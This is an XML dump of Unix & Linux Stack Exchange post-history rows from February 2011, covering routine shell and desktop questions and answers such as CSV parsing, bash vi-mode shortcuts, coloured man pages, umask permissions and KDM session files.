  <row Id="17278" PostHistoryTypeId="2" PostId="7423" RevisionGUID="ec6dba56-ac98-4efc-a7bb-7c1c66b16aed" CreationDate="2011-02-15T06:43:00.043" UserId="763" Text="I've been using KDM for a while, and I have a whole raft of custom login profiles. &#xD;&#xA;&#xD;&#xA;KDM looks in `/usr/share/xsessions` for a bunch of .desktop files, which tells it what application to execute to spawn the session. &#xD;&#xA;&#xD;&#xA;`cat /usr/share/xsessions/awesomex.desktop`&#xD;&#xA;&#xD;&#xA;    [Desktop Entry] &#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=awesomex ( Extended )&#xD;&#xA;    Comment=Highly configurable framework window manager&#xD;&#xA;    Exec=/usr/bin/awesomex&#xD;&#xA;&#xD;&#xA;On my machine, `/usr/bin/awesomex` is a fully customised Xsession startup script that spawns awesomewm with a few of my own programs.&#xD;&#xA;&#xD;&#xA;The best part of this, is KDM remembers which session I used last time, and then re-uses it each time I log-in until I decide otherwise.&#xD;&#xA;&#xD;&#xA;( I believe other login-managers, perhaps GDM, also recognise these files, but not sure )" />
  <row Id="17279" PostHistoryTypeId="2" PostId="7424" RevisionGUID="9bc3976e-a989-440c-9954-398b9c42b00d" CreationDate="2011-02-15T06:59:17.750" UserId="763" Text="I believe merely having the Oxygen GTK Theme is not enough to enable it. There is a seperate KCM module for KDE which permits KDE, infecting shall we call it, GTK applications with its presence. &#xD;&#xA;&#xD;&#xA;When installed, ( when it works that is, its not working for me *right now* :( ) it appears in the KDE SystemSettings in the &quot;Application Appearance&quot; control, and lets you &#xD;&#xA;&#xD;&#xA;  1. Set GTK Font sizes ( either to an arbitrary size, or &quot;match KDE&quot; )&#xD;&#xA;  2. Set GTK ColourScheme ( either to an arbitrary pallete, or &quot;match KDE&quot;) &#xD;&#xA;  3. Set GTK Widget Set ( either an arbitrary GTK theme, or the oxygen one )&#xD;&#xA;&#xD;&#xA;On Gentoo, this module is available as kde-misc/kcm_gtk, and the metadata says the homepage is :  http://gtk-qt.ecs.soton.ac.uk , however, that just gives me a dead site :/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17280" PostHistoryTypeId="2" PostId="7425" RevisionGUID="f8a2d4f1-a9ec-4101-a08f-7736d27174d2" CreationDate="2011-02-15T07:55:02.603" UserId="1207" Text="I work with CSV files and sometimes need to quickly check the contents of a row or column from the command line.  In many cases `cut`, `head`, `tail`, and friends will do the job; however, cut cannot easily deal with situations such as&#xD;&#xA;&#xD;&#xA;    &quot;this, is the first entry&quot;, this is the second, 34.5&#xD;&#xA;&#xD;&#xA;Here, the first comma is part of the first field, but `cut -d, -f1` disagrees. Before I write somethings myself, I was wondering if anyone knew of a good tool that already exists for this.  It would have to at the very least be able to handle the example above and return a column from a CSV formatted file.  Other desirable features include the ability to select columns based on the column names given in the first row, support for other quoting styles and support for tab-separated files.&#xD;&#xA;&#xD;&#xA;If you don't know of such a tool but have suggestions regarding implementing such a program in Bash, Perl, or Python, or other common scripting languages, I wouldn't mind such suggestions." />
  <row Id="17281" PostHistoryTypeId="1" PostId="7425" RevisionGUID="f8a2d4f1-a9ec-4101-a08f-7736d27174d2" CreationDate="2011-02-15T07:55:02.603" UserId="1207" Text="Is there a robust command line tool for processing csv files?" />
  <row Id="17282" PostHistoryTypeId="3" PostId="7425" RevisionGUID="f8a2d4f1-a9ec-4101-a08f-7736d27174d2" CreationDate="2011-02-15T07:55:02.603" UserId="1207" Text="écommandölineàésoftwareörecàétextöprocessingàécsvà" />
  <row Id="17283" PostHistoryTypeId="5" PostId="7425" RevisionGUID="41e63c5c-cfb2-4ba4-b6a7-97cfaca2d7e5" CreationDate="2011-02-15T08:03:41.277" UserId="1207" Comment="added 6 characters in body" Text="I work with CSV files and sometimes need to quickly check the contents of a row or column from the command line.  In many cases `cut`, `head`, `tail`, and friends will do the job; however, cut cannot easily deal with situations such as&#xD;&#xA;&#xD;&#xA;    &quot;this, is the first entry&quot;, this is the second, 34.5&#xD;&#xA;&#xD;&#xA;Here, the first comma is part of the first field, but `cut -d, -f1` disagrees. Before I write a solution myself, I was wondering if anyone knew of a good tool that already exists for this job.  It would have to, at the very least, be able to handle the example above and return a column from a CSV formatted file.  Other desirable features include the ability to select columns based on the column names given in the first row, support for other quoting styles and support for tab-separated files.&#xD;&#xA;&#xD;&#xA;If you don't know of such a tool but have suggestions regarding implementing such a program in Bash, Perl, or Python, or other common scripting languages, I wouldn't mind such suggestions." />
  <row Id="17284" PostHistoryTypeId="2" PostId="7426" RevisionGUID="cfbaf21b-d92b-446b-b3cb-a8186bef84c2" CreationDate="2011-02-15T08:15:59.790" UserId="1262" Text="I'm using bash vi mode (aka `set -o vi`). Still I miss the `Ctrl-A` shortcut from emacs mode, which is very handy. Many times I'm retrieving the last command and append an echo to the beginning of the line in order to save it to a file.&#xD;&#xA;&#xD;&#xA;Is there a convenient way to jump to the start of the line while in insert mode?&#xD;&#xA;&#xD;&#xA;And by convenient I mean that it's accessible by two sensible buttons shortcut. So `Esc,I` is not good enough, because `Esc` is too far, and `Ctrl+[`,`I` is not good because I need to type three consecutive letters, not sleek enough." />
  <row Id="17285" PostHistoryTypeId="1" PostId="7426" RevisionGUID="cfbaf21b-d92b-446b-b3cb-a8186bef84c2" CreationDate="2011-02-15T08:15:59.790" UserId="1262" Text="Jump to start of the line in `bash`'s `vi` mode" />
  <row Id="17286" PostHistoryTypeId="3" PostId="7426" RevisionGUID="cfbaf21b-d92b-446b-b3cb-a8186bef84c2" CreationDate="2011-02-15T08:15:59.790" UserId="1262" Text="ébashàévimàékeyboardöshortcutsà" />
  <row Id="17287" PostHistoryTypeId="25" PostId="7422" RevisionGUID="a8fa99a4-95d7-42d8-90ac-ec77e9c5be21" CreationDate="2011-02-15T08:22:47.750" Comment="http://twitter.com/#!/StackUnix/status/37426584281415680" />
  <row Id="17288" PostHistoryTypeId="5" PostId="7407" RevisionGUID="cccf7e02-6579-45cc-a40e-ed67d976f44f" CreationDate="2011-02-15T08:24:40.057" UserId="885" Comment="suggest vgrename" Text="If you've somehow ended up with two volume groups with the same name, use `vgrename` to rename one of them. In your situation the two volume groups should have distinct UUIDs, and you can pass a UUID to `vgrename` to make sure it acts on the desired group.&#xD;&#xA;&#xD;&#xA;Now, if I understand your question correctly, you now have two volume groups, A (new) and B (old), and you have some logical volumes in B that you'd like to be in A. First run `vgscan` and perhaps `vgchange -ay` to make sure all your volume groups are active. Then run `vgmerge` to merge the two volume groups into one, or `vgsplit` to move some physical volumes from B to A.&#xD;&#xA;&#xD;&#xA;If this doesn't help, please post the output of `pvs`, `lvs` and `vgdisplay`.&#xD;&#xA;" />
  <row Id="17289" PostHistoryTypeId="2" PostId="7427" RevisionGUID="f7617696-9a20-4d68-a980-9e17c25479cb" CreationDate="2011-02-15T08:31:16.473" UserId="885" Text="Sounds like a job for Perl with [`Text::CSV`](http://search.cpan.org/perldoc?Text::CSV).&#xD;&#xA;&#xD;&#xA;    perl -MText::CSV -pe '&#xD;&#xA;        BEGIN {$csv = Text::CSV-&gt;new();}&#xD;&#xA;        $csv-&gt;parse($_) or die;&#xD;&#xA;        @fields = $csv-&gt;fields();&#xD;&#xA;        print @fields[1,3];&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;See the documentation for how to handle column names. The separator and quoting style can be tuned with parameters to `new`. See also [`Text::CSV::Separator`](http://search.cpan.org/perldoc?Text::CSV::Separator) for separator guessing.&#xD;&#xA;" />
  <row Id="17290" PostHistoryTypeId="6" PostId="7421" RevisionGUID="fd9d9940-47b5-45c3-9e1f-9777a2f698c7" CreationDate="2011-02-15T08:32:10.170" UserId="885" Comment="edited tags; deleted 22 characters in body; edited title" Text="ékdeàéiconsà" />
  <row Id="17291" PostHistoryTypeId="5" PostId="7421" RevisionGUID="fd9d9940-47b5-45c3-9e1f-9777a2f698c7" CreationDate="2011-02-15T08:32:10.170" UserId="885" Comment="edited tags; deleted 22 characters in body; edited title" Text="I want to change the icon image of the executable files **from the command line**. I'm using KDE. Can any one help me in this regard.&#xD;&#xA;" />
  <row Id="17292" PostHistoryTypeId="4" PostId="7421" RevisionGUID="fd9d9940-47b5-45c3-9e1f-9777a2f698c7" CreationDate="2011-02-15T08:32:10.170" UserId="885" Comment="edited tags; deleted 22 characters in body; edited title" Text="Change the icon of an executable file from command line" />
  <row Id="17293" PostHistoryTypeId="6" PostId="7417" RevisionGUID="e306eb68-414c-47fc-a54b-88f03d2fdcf6" CreationDate="2011-02-15T08:34:09.310" UserId="885" Comment="edited tags" Text="élsàébusyboxàépagerà" />
  <row Id="17294" PostHistoryTypeId="6" PostId="7422" RevisionGUID="5eb05689-eecf-4975-b44d-e30f88256dff" CreationDate="2011-02-15T08:35:26.860" UserId="885" Comment="edited tags" Text="éloginàésessionàédisplayömanagerà" />
  <row Id="17295" PostHistoryTypeId="2" PostId="7428" RevisionGUID="65a74bb4-2176-407c-86aa-5058c3f96b7c" CreationDate="2011-02-15T08:40:44.090" UserId="885" Text="Press the &lt;kbd&gt;Home&lt;/kbd&gt; key if it's not too far. Or bind &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;:&#xD;&#xA;&#xD;&#xA;    set -o vi&#xD;&#xA;    bind '\C-a:beginning-of-line'&#xD;&#xA;" />
  <row Id="17296" PostHistoryTypeId="6" PostId="7426" RevisionGUID="440df82b-24a1-4fe1-9580-3031e3867972" CreationDate="2011-02-15T08:40:53.920" UserId="885" Comment="edited tags" Text="ébashàékeyboardöshortcutsàévià" />
  <row Id="17297" PostHistoryTypeId="2" PostId="7429" RevisionGUID="3062e4c1-12d0-4b7d-9304-7da9ae2d3264" CreationDate="2011-02-15T08:56:49.070" UserId="872" Text="You can use Python's [`csv`][1] module.&#xD;&#xA;&#xD;&#xA;A simple example:&#xD;&#xA;&#xD;&#xA;    import csv&#xD;&#xA;    reader = csv.reader(open(&quot;test.csv&quot;, &quot;rb&quot;))&#xD;&#xA;    for row in reader:&#xD;&#xA;        for col in row:&#xD;&#xA;            print col&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://docs.python.org/library/csv.html" />
  <row Id="17298" PostHistoryTypeId="5" PostId="7046" RevisionGUID="904bde72-9b54-4ff9-ac07-e9ceec8160b5" CreationDate="2011-02-15T09:11:09.000" UserId="688" Comment="rm excessive indenting" Text="How can I add a 10sec sleep to my loop after each page is processed?&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    for page in {1..50}&#xD;&#xA;    do&#xD;&#xA;        wget -q -U Mozilla &quot;http://admin.domain.com/products_search/?p=$page&quot; -O - \&#xD;&#xA;        | tr '&quot;' '\n' | grep &quot;^Product photo for &quot; | cut -d ' ' -f 3 &gt; bproduct.txt&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17299" PostHistoryTypeId="2" PostId="7430" RevisionGUID="46ae9986-bbba-46c1-adc9-1c6932452bd2" CreationDate="2011-02-15T09:14:30.773" UserId="872" Text="&gt; Many times I'm retrieving the last&#xD;&#xA;&gt; command and append an echo to the&#xD;&#xA;&gt; beginning of the line in order to save&#xD;&#xA;&gt; it to a file.&#xD;&#xA;&#xD;&#xA;An alternative is:&#xD;&#xA;&#xD;&#xA;    echo !!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17300" PostHistoryTypeId="5" PostId="7380" RevisionGUID="e50c6871-63c4-45fb-bd33-5260afb9bfdb" CreationDate="2011-02-15T10:32:34.260" UserId="4755" Comment="added 190 characters in body" Text="By default, the title of a screen session is the name of the last command entered, which is fine for me, but in some cases I'd like to change it. I know the command &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;, but it only changes the title until the next command, and I'd like it to stay there until I decide otherwise.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;Here's the `preexec` function I found in my `.zshrc`&#xD;&#xA;&#xD;&#xA;    if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;       local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;       echo -n &quot;\ek$CMD\e\\&quot;&#xD;&#xA;    fi" />
  <row Id="17301" PostHistoryTypeId="25" PostId="7426" RevisionGUID="f62904c2-7cd9-4c23-969b-0f3ca8bb741f" CreationDate="2011-02-15T11:22:47.603" Comment="http://twitter.com/#!/StackUnix/status/37471882496188417" />
  <row Id="17302" PostHistoryTypeId="2" PostId="7431" RevisionGUID="de91b9f9-919a-4c56-8285-9f2f17786181" CreationDate="2011-02-15T11:41:28.510" UserId="763" Text="Having read Mikels answer, its very comprehensive, and will hopefully work on all systems, but its probably overkill for myself ( also on a gentoo system. )&#xD;&#xA;&#xD;&#xA;So here is a result for people who are very &quot;Do long, didn't read&quot; with all that shenanigans. &#xD;&#xA;&#xD;&#xA;The Bare minimum I could do to get Coloured Man pages is as follows:&#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_md=$'\E[01;31m' LESS_TERMCAP_md=$'\E[0m' GROFF_NO_SGR=1 man man&#xD;&#xA;&#xD;&#xA;This renders text that was previously only in bold, in bold *and red*. ( The red characterised by the '31' in `LESS_TERMCAP_md` )&#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_se=$'\E[0m' LESS_TERMCAP_so=$'\E[01;32m'&#xD;&#xA;&#xD;&#xA;These 2 rules control the formatting of the current line number display, and coerce it to rendering in Green. &#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_us=$'\E[04;33m' LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;&#xD;&#xA;These 2 rules move everything that was previously underlined, to being underlined *and yellow*. ( 04 is 'underlined', 33 is &quot;yellow&quot; )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17303" PostHistoryTypeId="5" PostId="7431" RevisionGUID="f86e759c-8c13-4874-9636-b30719c04769" CreationDate="2011-02-15T11:49:18.253" UserId="763" Comment="edited body" Text="Having read Mikels answer, its very comprehensive, and will hopefully work on all systems, but its probably overkill for myself ( also on a gentoo system. )&#xD;&#xA;&#xD;&#xA;So here is a result for people who are very &quot;Do long, didn't read&quot; with all that shenanigans. &#xD;&#xA;&#xD;&#xA;The Bare minimum I could do to get Coloured Man pages is as follows:&#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_md=$'\E[01;31m' LESS_TERMCAP_me=$'\E[0m' GROFF_NO_SGR=1 man man&#xD;&#xA;&#xD;&#xA;This renders text that was previously only in bold, in bold *and red*. ( The red characterised by the '31' in `LESS_TERMCAP_md` )&#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_se=$'\E[0m' LESS_TERMCAP_so=$'\E[01;32m'&#xD;&#xA;&#xD;&#xA;These 2 rules control the formatting of the current line number display, and coerce it to rendering in Green. &#xD;&#xA;&#xD;&#xA;    LESS_TERMCAP_us=$'\E[04;33m' LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;&#xD;&#xA;These 2 rules move everything that was previously underlined, to being underlined *and yellow*. ( 04 is 'underlined', 33 is &quot;yellow&quot; )&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17308" PostHistoryTypeId="5" PostId="7418" RevisionGUID="cc5f0f64-bafc-4eab-819f-bd4768f837ab" CreationDate="2011-02-15T12:20:40.500" UserId="2180" Comment="Explanation about what code does" Text="If you are accessing the device through a terminal, you can use GNU Screen to connect; you can then use Screen's scrolling to see the output.&#xD;&#xA;&#xD;&#xA;If the system has vi installed, you can try outputting the command to a file and reading it with vi.&#xD;&#xA;&#xD;&#xA;If those don't suffice, you can make a bash script to output a screen's worth then pause.&#xD;&#xA;&#xD;&#xA;    for line in $(ls -l); do&#xD;&#xA;      echo &quot;$line&quot;&#xD;&#xA;      i=$((i+1))&#xD;&#xA;      [ &quot;$i&quot; = 50 ] &amp;&amp; read &amp;&amp; i=0&#xD;&#xA;    done&#xD;&#xA;This prints 50 lines and waits for you to press enter before printing the next 50." />
  <row Id="17309" PostHistoryTypeId="5" PostId="6010" RevisionGUID="009cd648-c873-497f-a548-47ca07b5b482" CreationDate="2011-02-15T12:26:42.777" UserId="763" Comment="Improved formatting, link to other article made clear ( I didn't see it the first time ) , misc grammar corrections." Text="I have a problem using [**these methods**][1] to get colors in my man pages in gentoo. I've asked already in the gentoo forums but it still doesn't work, and the comments in a bug report ([Bug 184604][2]) don't work either. Can someone help me to get colours in my man pages?&#xD;&#xA;&#xD;&#xA;**EDIT**:&#xD;&#xA;Yes, I'm using less as pager and urxvt-unicode as terminal emulator&#xD;&#xA;&#xD;&#xA;**EDIT2**:&#xD;&#xA;&#xD;&#xA;I already asked in the gentoo forums but it didn't help, this is the link I couln't post before (because of my reputation) http://forums.gentoo.org/viewtopic-t-819833-start-0.html.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/119/colors-in-man-pages&#xD;&#xA;  [2]: http://bugs.gentoo.org/184604" />
  <row Id="17310" PostHistoryTypeId="24" PostId="6010" RevisionGUID="32c9a111-92b7-452b-ba66-0269b27eb5d3" CreationDate="2011-02-15T12:26:42.777" Comment="Proposed by 763 approved by 29 edit id of 26" />
  <row Id="17311" PostHistoryTypeId="2" PostId="7434" RevisionGUID="11615ce9-c98b-4137-ad18-1de5a8a52c7e" CreationDate="2011-02-15T12:30:21.477" UserId="4523" Text="Or, you could try some &lt;a href=&quot;http://www.grymoire.com/Unix/Awk.html&quot;&gt;awk&lt;/a&gt; magic.&#xD;&#xA;Howewer, I'm not a good awk user and cannot confirm this would work properly, and how to do it." />
  <row Id="17312" PostHistoryTypeId="2" PostId="7435" RevisionGUID="b35cf7b1-b330-4520-a33d-6efd4b504b1c" CreationDate="2011-02-15T13:05:36.953" UserId="1375" Text="As a follow up to my previous [question][1], I learned that theming in windows (when using a tiling window manager) could be achieved by modifying config files for the different GUI toolkits, for instance GTK is ~/.gtkrc-2.0&#xD;&#xA;&#xD;&#xA;What are the config files for others like GNOME, KDE, QT, and others? And how do I set them up? Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/7396/theming-in-tiling-window-managers" />
  <row Id="17313" PostHistoryTypeId="1" PostId="7435" RevisionGUID="b35cf7b1-b330-4520-a33d-6efd4b504b1c" CreationDate="2011-02-15T13:05:36.953" UserId="1375" Text="Theme config files for programs of common GUI toolkits" />
  <row Id="17314" PostHistoryTypeId="3" PostId="7435" RevisionGUID="b35cf7b1-b330-4520-a33d-6efd4b504b1c" CreationDate="2011-02-15T13:05:36.953" UserId="1375" Text="éguiàétilingàétilingöwmàéthemeàéwindowà" />
  <row Id="17315" PostHistoryTypeId="2" PostId="7436" RevisionGUID="24c0b250-b883-420c-83f2-671fb64b667d" CreationDate="2011-02-15T13:16:56.290" UserId="4355" Text="I suggest you use [gtk-chtheme][1] to set the GTK2 options, and `qt-config` (part of Qt) to set Qt options. KDE will use the Qt theme if you havn't set anything else, but you should be able to run `kcontrol` and set a theme/fonts etc, if you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://plasmasturm.org/code//gtk-chtheme/" />
  <row Id="17316" PostHistoryTypeId="5" PostId="7436" RevisionGUID="bc3ca89e-ee25-4f78-a7f9-1efd6d0ade2e" CreationDate="2011-02-15T13:43:04.743" UserId="4355" Comment="added 473 characters in body" Text="I suggest you use [gtk-chtheme][1] to set the GTK2 options, and `qt-config` (part of Qt) to set Qt options. KDE will use the Qt theme if you havn't set anything else, but you should be able to run `kcontrol` and set a theme/fonts etc, if you want.&#xD;&#xA;&#xD;&#xA;GNOME saves its configuration in their little registry. KDE saves in the Qt .ini format, under ~/.kde/ somewhere - can't remember or dig it up at the moment.&#xD;&#xA;The GNOME and KDE enviroments rely on daemons running in the background. You can start the GNOME/KDE services yourself at login time, or just let them start when an application needs them. `gnome-settings-daemon` is the GNOME one, I'm not sure if you need to start any KDE daemons except having dbus available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://plasmasturm.org/code//gtk-chtheme/" />
  <row Id="17317" PostHistoryTypeId="2" PostId="7437" RevisionGUID="ea80a9e3-cff3-4f76-8066-ef6ac851a274" CreationDate="2011-02-15T14:09:44.980" UserId="4776" Text="What we do is mount the server's home on /mnt/server/export/home, then on other machines symlink each user's home directory into the local /home. This can be maintained semi-automatically across machines with rsync." />
  <row Id="17318" PostHistoryTypeId="2" PostId="7438" RevisionGUID="d62761b0-d510-4984-b383-c5d3baf29f55" CreationDate="2011-02-15T14:22:03.953" UserId="688" Text="I want to print using a Lexmark 5630 printer, and [it appears][1] they only have drivers for Mac and Windows. Does CUPS support it, with maybe some reverse-engineered driver, or am I at a loss?&#xD;&#xA;&#xD;&#xA;  [1]: http://support.lexmark.com/index?locale=en&amp;page=product&amp;productCode=LEXMARK_X5630&amp;segment=SUPPORT&amp;userlocale=EN_US&amp;frompage=null#1" />
  <row Id="17319" PostHistoryTypeId="1" PostId="7438" RevisionGUID="d62761b0-d510-4984-b383-c5d3baf29f55" CreationDate="2011-02-15T14:22:03.953" UserId="688" Text="How to print using a Lexmark 5630 printer" />
  <row Id="17320" PostHistoryTypeId="3" PostId="7438" RevisionGUID="d62761b0-d510-4984-b383-c5d3baf29f55" CreationDate="2011-02-15T14:22:03.953" UserId="688" Text="éprintingà" />
  <row Id="17321" PostHistoryTypeId="25" PostId="7425" RevisionGUID="5671ad13-c2f6-456f-9afa-af2a23d01438" CreationDate="2011-02-15T14:22:48.737" Comment="http://twitter.com/#!/StackUnix/status/37517186251628544" />
  <row Id="17322" PostHistoryTypeId="2" PostId="7439" RevisionGUID="ac68af51-6276-4553-97ee-5893c92810b3" CreationDate="2011-02-15T14:33:16.290" UserId="4709" Text="Is there a bash/ksh/any shell script IDE. &#xD;&#xA;&#xD;&#xA;Don't you get annoyed when you forget the space inside if or I don't know, some minor syntax mistakes you do from time to time, but takes you a long time to figure it out(especially when one is tired).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17323" PostHistoryTypeId="1" PostId="7439" RevisionGUID="ac68af51-6276-4553-97ee-5893c92810b3" CreationDate="2011-02-15T14:33:16.290" UserId="4709" Text="Bash script IDE" />
  <row Id="17324" PostHistoryTypeId="3" PostId="7439" RevisionGUID="ac68af51-6276-4553-97ee-5893c92810b3" CreationDate="2011-02-15T14:33:16.290" UserId="4709" Text="élinuxàébashàéscriptingàéshellöscriptà" />
  <row Id="17325" PostHistoryTypeId="2" PostId="7440" RevisionGUID="9e79721a-f63c-46a2-b40f-90ab799a8965" CreationDate="2011-02-15T14:39:40.303" UserId="2180" Text="Just about every editor support syntax highlighting for shell - this can help you spot problems.&#xD;&#xA;&#xD;&#xA;In addition, you can put `set -x` and `set -e` at the top of your scripts. The `-x` tells the shell to print out every command before it executes it. The `-e` tells the shell to terminate the script if any errors occur. These should really help cut down on time spent looking for bugs." />
  <row Id="17326" PostHistoryTypeId="5" PostId="7439" RevisionGUID="60f3b42c-17f9-4c00-8108-7e516b832a85" CreationDate="2011-02-15T14:43:33.420" UserId="4709" Comment="added 101 characters in body" Text="Is there a bash/ksh/any shell script IDE. &#xD;&#xA;&#xD;&#xA;Don't you get annoyed when you forget the space inside if or I don't know, some minor syntax mistakes you do from time to time, but takes you a long time to figure it out(especially when one is tired).&#xD;&#xA;&#xD;&#xA;I knew about some suggestion listed below, but I'm looking for something like eclipse(i.e. for java)." />
  <row Id="17327" PostHistoryTypeId="2" PostId="7441" RevisionGUID="089057d4-7a77-4322-9460-f8c888faa478" CreationDate="2011-02-15T14:59:10.220" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;Might be stupid to ask, but, can root kill init process (the process with pid 1)? What would be its consequences?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;PS - No similar question appeared in Related Questions' list for the title specified by me. Sorry if this is a duplicate question. " />
  <row Id="17328" PostHistoryTypeId="1" PostId="7441" RevisionGUID="089057d4-7a77-4322-9460-f8c888faa478" CreationDate="2011-02-15T14:59:10.220" UserId="4335" Text="Can root kill init process?" />
  <row Id="17329" PostHistoryTypeId="3" PostId="7441" RevisionGUID="089057d4-7a77-4322-9460-f8c888faa478" CreationDate="2011-02-15T14:59:10.220" UserId="4335" Text="érootàéinità" />
  <row Id="17330" PostHistoryTypeId="2" PostId="7442" RevisionGUID="9d9e2852-ab41-4042-92bc-6efff5ede8c4" CreationDate="2011-02-15T15:09:38.640" UserId="688" Text="On my system, when I create a file (`touch testfile`), checking its permissions (`stat -c'%a %A' testfile`) gives:&#xD;&#xA;&#xD;&#xA;    644 -rw-r--r--&#xD;&#xA;&#xD;&#xA;What must I do so that when a user creates a file that way, that output looks like this:&#xD;&#xA;&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;" />
  <row Id="17331" PostHistoryTypeId="1" PostId="7442" RevisionGUID="9d9e2852-ab41-4042-92bc-6efff5ede8c4" CreationDate="2011-02-15T15:09:38.640" UserId="688" Text="How to make files created by a specific user to have specific permissions by default" />
  <row Id="17332" PostHistoryTypeId="3" PostId="7442" RevisionGUID="9d9e2852-ab41-4042-92bc-6efff5ede8c4" CreationDate="2011-02-15T15:09:38.640" UserId="688" Text="épermissionsàéusersàégroupà" />
  <row Id="17333" PostHistoryTypeId="2" PostId="7443" RevisionGUID="77460bff-d8dd-4df3-98ef-57ec818d69b7" CreationDate="2011-02-15T15:17:02.350" UserId="3976" Text="You need to set the [umask][1] for that user to 0002.  Right now, it's probably 0022.  You can define it in your ~/.bash_profile with 'umask 0002'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Umask" />
  <row Id="17334" PostHistoryTypeId="2" PostId="7444" RevisionGUID="bdc73194-f80e-4b65-a016-5115955a67d5" CreationDate="2011-02-15T15:19:32.733" UserId="4695" Text="Under bash, umask sets the file-creation mask. With umask 002 you get the permissions you want. You can put this in .bash_profile locally or globally." />
  <row Id="17335" PostHistoryTypeId="2" PostId="7445" RevisionGUID="909ab400-10e6-4241-9d87-41ea6c80bc5c" CreationDate="2011-02-15T15:24:19.563" UserId="3069" Text="POSIX [defines][1] the utility `umask` which sets the file mode creation mask, either for the current instance (without subshells), or for every newly invoked shell (over .bash_profile, .bashrc, etc.).&#xD;&#xA;&#xD;&#xA;Show the currently set mask in octal or symbolic form:&#xD;&#xA;&#xD;&#xA;    $ umask&#xD;&#xA;    0022&#xD;&#xA;    $ umask -S&#xD;&#xA;    u=rwx,g=rwx,o=rx&#xD;&#xA;&#xD;&#xA;The octal numbers indicate the values which are getting removed from the full access:&#xD;&#xA;&#xD;&#xA;    $ umask 0002&#xD;&#xA;    $ touch testfile&#xD;&#xA;    $ stat -c'%a %A' testfile&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/utilities/umask.html" />
  <row Id="17336" PostHistoryTypeId="2" PostId="7446" RevisionGUID="5a989525-d862-4aa5-a0b3-675c6e4b6fa8" CreationDate="2011-02-15T15:32:22.423" UserId="4780" Text="im trying to rename a directory full of images like so&#xD;&#xA;&#xD;&#xA;test.jpg&#xD;&#xA;funny.gif&#xD;&#xA;sad.png&#xD;&#xA;filename.PNG&#xD;&#xA;filenaaskjas.JPG&#xD;&#xA;&#xD;&#xA;to &#xD;&#xA;&#xD;&#xA;1.jpg&#xD;&#xA;2.gif&#xD;&#xA;3.png&#xD;&#xA;4.png&#xD;&#xA;5.jpg&#xD;&#xA;&#xD;&#xA;i got it working except for the uppercase --&gt; lowercase&#xD;&#xA;&#xD;&#xA;i also want jpeg to become jpg.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;i=1; shopt -s nullglob; for f in *.jpg *.gif *.png *.jpeg *.JPG *.JPEG *.GIF; do mv -- &quot;$f&quot; &quot;$i.${f##*.}&quot;; ((i++)); done&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="17337" PostHistoryTypeId="1" PostId="7446" RevisionGUID="5a989525-d862-4aa5-a0b3-675c6e4b6fa8" CreationDate="2011-02-15T15:32:22.423" UserId="4780" Text="rename directory of images numeric" />
  <row Id="17338" PostHistoryTypeId="3" PostId="7446" RevisionGUID="5a989525-d862-4aa5-a0b3-675c6e4b6fa8" CreationDate="2011-02-15T15:32:22.423" UserId="4780" Text="ébashàérenameà" />
  <row Id="17339" PostHistoryTypeId="5" PostId="7445" RevisionGUID="800b405b-1838-4166-984c-fade2472f415" CreationDate="2011-02-15T15:32:42.050" UserId="3069" Comment="added 20 characters in body" Text="POSIX [defines][1] the utility `umask` which sets the file mode creation mask, either for the current instance (without subshells), or for every newly invoked shell (over .bash_profile, .bashrc, etc.).&#xD;&#xA;&#xD;&#xA;Show the currently set mask in octal or symbolic form:&#xD;&#xA;&#xD;&#xA;    $ umask&#xD;&#xA;    0022&#xD;&#xA;    $ umask -S&#xD;&#xA;    u=rwx,g=rwx,o=rx&#xD;&#xA;&#xD;&#xA;The octal numbers indicate the values which are getting removed from the full access:&#xD;&#xA;&#xD;&#xA;    $ umask 0002     # or: umask g+w&#xD;&#xA;    $ touch testfile&#xD;&#xA;    $ stat -c'%a %A' testfile&#xD;&#xA;    664 -rw-rw-r--&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/utilities/umask.html" />
